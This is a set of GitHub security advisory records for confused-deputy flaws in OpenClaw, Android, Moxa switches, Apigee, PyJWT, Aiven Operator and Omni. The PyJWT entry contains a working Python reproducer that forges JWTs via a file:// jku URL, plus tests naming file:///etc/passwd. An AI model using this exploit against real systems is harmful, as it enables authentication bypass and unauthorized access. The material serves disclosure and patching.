CWE-441

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T19:12:17Z",
    "nvd_published_at": "2026-04-28T00:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-chfm-xgc4-47rj. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.31 contains a sender allowlist bypass vulnerability in MS Teams thread history fetched via Graph API. Attackers can retrieve thread messages that should be filtered by sender allowlists, bypassing message filtering restrictions.",
  "id": "GHSA-8pf2-vj79-4wxg",
  "modified": "2026-05-06T19:12:17Z",
  "published": "2026-04-28T00:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-chfm-xgc4-47rj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/5cca38084074fb5095aa11b6a59820d63e4937c9"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-via-graph-api-thread-history"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: MSTeams thread history bypasses sender allowlist via Graph API",
  "withdrawn": "2026-05-06T19:12:17Z"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-0387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-26T16:27:49Z",
    "severity": "MODERATE"
  },
  "details": "The EDS-4000/G4000 Series prior to version 3.2 includes IP forwarding capabilities that users cannot deactivate. An attacker may be able to send requests to the product and have it forwarded to the target. An attacker can bypass access controls or hide the source of malicious requests.",
  "id": "GHSA-8q86-4x73-99v8",
  "modified": "2025-02-26T00:32:11Z",
  "published": "2024-02-26T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0387"
    },
    {
      "type": "WEB",
      "url": "https://www.moxa.com/en/support/product-support/security-advisory/mpsa-237129-eds-4000-g4000-series-ip-forwarding-vulnerability?viewmode=0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:36Z",
    "severity": "HIGH"
  },
  "details": "In multiple functions of AppRestrictionsFragment.java, there is a possible way to bypass intent security check  due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-92gp-v73j-5gqm",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32326"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Settings/+/e8a17485771e54124abc08e8fb6c987bf83726a2"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-64125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-03T01:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in Nuvation Energy nCloud VPN Service allowed Network Boundary Bridging.This issue affected the nCloud VPN Service and was fixed on 2025-12-1 (December, 2025). End users do not have to take any action to mitigate the issue.",
  "id": "GHSA-96xq-9m54-h7p4",
  "modified": "2026-01-03T03:30:25Z",
  "published": "2026-01-03T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64125"
    },
    {
      "type": "WEB",
      "url": "https://www.dragos.com/community/advisories/CVE-2025-64119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-09T14:16:27Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Input Validation vulnerability in BigQuery DAO in Google Cloud Apigee versions prior to 2026-06-12 on Google Cloud Platform allows an authenticated attacker to exfiltrate cross-tenant data.\n\n\nThis vulnerability was patched on 12 June 2026 on the Apigee Servers, and no customer action is needed.",
  "id": "GHSA-974p-4xqx-2m2q",
  "modified": "2026-07-09T15:32:32Z",
  "published": "2026-07-09T15:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12879"
    },
    {
      "type": "WEB",
      "url": "https://cloud.google.com/apigee/docs/release-notes#July_08_2026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-06-15T19:28:41Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/aiven/aiven-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T17:22:00Z",
    "nvd_published_at": "2026-04-09T18:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA developer with create permission on ClickhouseUser CRDs in their own namespace can exfiltrate secrets from any other namespace \u2014 production database credentials, API keys, service tokens \u2014 with a single kubectl apply. The operator reads the victim\u0027s secret using its ClusterRole and writes the password into a new secret in the attacker\u0027s namespace.\n\nThe operator acts as a confused deputy: its ServiceAccount has cluster-wide secret read/write (aiven-operator-role ClusterRole), and it trusts user-supplied namespace values in spec.connInfoSecretSource.namespace without validation. No admission webhook enforces this boundary \u2014 the ServiceUser webhook returns nil, and no ClickhouseUser webhook exists.\n\n### Patches\n\nThis vulnerability is resolved in version 0.37.0. We recommend all users update as soon as possible.\n\n### Credits\n\nCredits to Andr\u00e9s Cruciani for finding and reporting the bug through our [bug bounty program](https://bugcrowd.com/aiven-mbb-og)",
  "id": "GHSA-99j8-wv67-4c72",
  "modified": "2026-04-10T17:22:00Z",
  "published": "2026-04-10T17:22:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aiven/aiven-operator/security/advisories/GHSA-99j8-wv67-4c72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39961"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aiven/aiven-operator/commit/032c9ba63257fdd2fddfb7f73f71830e371ff182"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aiven/aiven-operator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aiven/aiven-operator/releases/tag/v0.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Aiven Operator has cross-namespace secret exfiltration via ClickhouseUser connInfoSecretSource"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-21082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-19T20:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In getNumberFromCallIntent of NewOutgoingCallIntentBroadcaster.java, there is a possible way to enumerate other user\u0027s contact phone number due to a confused deputy. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11 Android-12 Android-12L Android-13Android ID: A-257030107",
  "id": "GHSA-9c9w-6vg7-jggq",
  "modified": "2024-04-04T03:35:49Z",
  "published": "2023-04-19T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21082"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2023-04-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-0107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T21:16:44Z",
    "severity": "HIGH"
  },
  "details": "In gmc_ddr_handle_mba_mr_req of gmc_mba_ddr.c, there is a possible escalation of privileges due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-c36q-v25w-m4pc",
  "modified": "2026-03-11T18:30:28Z",
  "published": "2026-03-10T21:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0107"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siderolabs/omni"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-209",
      "CWE-22",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T15:25:58Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`managementServer.CreateSchematic` (`internal/backend/grpc/schematics.go`) passes the caller-controlled `TalosVersion` field directly to `imageFactoryClient.OverlaysVersions`, which embeds it verbatim into a `fmt.Sprintf(\"/version/%s/overlays/official\", talosVersion)` path template. `url.URL.JoinPath` resolves any `../` sequences in that path, allowing an authenticated Operator to rewrite the URL path and force Omni to issue HTTP GET requests to unintended paths on the configured image-factory server. Error body content from those unintended endpoints is returned to the caller.\n\n## Severity\n\n- **Attack Vector:** Network: exploited via the gRPC `CreateSchematic` API endpoint.\n- **Attack Complexity:** Low: once the attacker holds an Operator credential and has identified a media ID with an overlay, exploitation is a single API call.\n- **Privileges Required:** High: `role.Operator` is required, which has administrative capabilities on Omni.\n- **User Interaction:** None.\n- **Scope:** Unchanged: the traversal is constrained to the configured image-factory host; the attacker cannot redirect Omni to an arbitrary external server.\n- **Confidentiality Impact:** Low: error body content from unintended image-factory endpoints is reflected back to the operator, potentially leaking server-internal information.\n- **Integrity Impact:** None: only HTTP GET requests are issued; no write operations are performed.\n- **Availability Impact:** None.\n\n## Impact\n\n- **Same-host path traversal**: An authenticated Operator can force Omni to issue GET requests to arbitrary URL paths on the configured image-factory server, bypassing the intended versioned overlay API structure.\n- **Error-body disclosure**: HTTP error responses from unintended image-factory endpoints are reflected back to the operator, potentially leaking server-internal diagnostics or sensitive path content.\n- **Internal network probing**: In deployments using a private image-factory instance on an internal network, the attacker can probe endpoint existence and partial responses through error-text differences.\n- **Depth control**: By varying the number of `../` prefixes in `talosVersion`, the attacker can reach any path hierarchy on the image-factory host.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-c66c-vq6w-fvh5",
  "modified": "2026-06-05T15:25:58Z",
  "published": "2026-06-05T15:25:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/security/advisories/GHSA-c66c-vq6w-fvh5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siderolabs/omni"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.6.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siderolabs/omni/releases/tag/v1.7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omni: Operator can traverse image-factory API paths via unsanitized `talos_version` in CreateSchematic"
}